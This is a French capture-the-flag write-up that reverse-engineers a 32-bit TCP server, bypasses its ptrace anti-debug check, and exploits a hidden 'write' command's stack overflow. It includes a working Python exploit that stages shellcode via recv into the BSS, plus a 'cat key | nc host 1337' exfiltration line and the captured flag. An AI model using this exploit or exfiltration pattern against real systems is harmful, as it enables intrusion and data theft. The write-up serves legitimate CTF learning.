FR EN

Vulnerable 200

<< Vulnerable 100

Vulnerable 400 >>

Le vuln 200 est un ELF 32-bits, strippé et compilé avec stackexec (!). L'exécutable est un serveur TCP sur le port 7777, offrant des hashage md5 et encodage/décodage base 64.

Le main commence à 0x8048a86, par de l'anti-debug (cf. article bases-hacking sur ptrace) :

mov dword ptr [esp+0Ch], 0
mov dword ptr [esp+8], 0
mov dword ptr [esp+4], 0
mov dword ptr [esp], 0 ; request
call _ptrace
test eax, eax
jns short loc_8048AD3
mov dword ptr [esp], offset s ; "Debugger Detected!!!"
call _puts

Bon, comme il n'y a rien d'autre d'implémenté, il suffit de noper tout cela et ainsi pouvoir debugguer sans soucis. Le code "client" commence réellement à 0x8048e2e, après initialisation du socket server, listen/accept/fork() avec un peu de logging au milieu. Après l'impression du menu dans la socket, on a une lecture de 190 bytes sur la pile, puis appel d'une fonction avec le socket, ce buffer de la pile et la taille lue comme argument :

mov dword ptr [esp+8], 190h ; n
lea eax, [esp+10h]
mov [esp+4], eax ; buf
mov eax, [esp+1CCh]
mov [esp], eax ; fd
call _recv
mov [esp+1C4h], eax
mov eax, [esp+1C4h]
mov [esp+8], eax ; int
mov eax, [esp+1CCh]
mov [esp+4], eax ; fd
lea eax, [esp+10h]
mov [esp], eax ; int
call sub_8048EEB

Ce code tourne en boucle dans que la fonction retourne 1, cette fonction contient donc le code de gestion du menu. Visionner la fonction en graphe permet de comprendre immédiatement son fonctionnement : 5 comparaisons de chaînes de caractères amenant à 6 actions possibles. 6 ? mais ça fait une de plus que help/quit/md5/b64 encode/b64 decode ? En effet, on voit à que la deuxième comparaison à partir de 0x804900c comporte une fonction cachée, "write".

Entouré par deux fonctions de log/debug, la fonction write effectue une copie du buffer argument vers un buffer local :

mov eax, [ebp+arg_8]
sub eax, 5
mov ecx, eax
mov eax, [ebp+arg_0]
lea edx, [eax+5]
lea eax, [ebp+dest]
mov [esp+8], ecx ; n
mov [esp+4], edx ; src
mov [esp], eax ; dest
call _memcpy

arg_8 étant le 3e argument de la fonction (donc la longueur retournée par recv()), arg_0 l'adresse du buffer sur la pile (frame de main()) et ebp+dest était en réalité à ebp-0xec. Nous avons donc un memcpy() de maximum 0x190 bytes dans un buffer de 200 bytes à 240 bytes de l'adresse de retour. Comme l'exécutable est stackexec, l'exploitation est triviale : en deux stages, d'abord placer un shellcode dans une adresse arbitraire du BSS, puis retourner dans le BSS.

#!/usr/bin/python

import socket
import struct
import time

HOST="58.229.122.19"

recv_plt = 0x8048780
bss_buf = 0x0804b0a0

s = socket.socket()
s.connect((HOST, 7777))

s.recv(1024)
s.sendall("write" + "A"*240 + "".join([struct.pack("<I", x) for x in [recv_plt, bss_buf, 4, bss_buf, 1024, 0]]))

s.recv(1024)
time.sleep(1)

shellcode = [ par exemple cat key | nc host 1337 ]
s.sendall(shellcode)
s.recv(1024)
s.close()

Et côté netcat :

$ nc -vvv -l 1337
Connection from 58.229.122.19 port 1337 [tcp/*] accepted
Key is "This_is_C0G6ESTYL3!_:)"

Personnellement je trouve ça bien plus facile que de devoir disclose et bruteforcer des adresses de la pile, mais bon ça vaut le double de points !

<< Vulnerable 100

Vulnerable 400 >>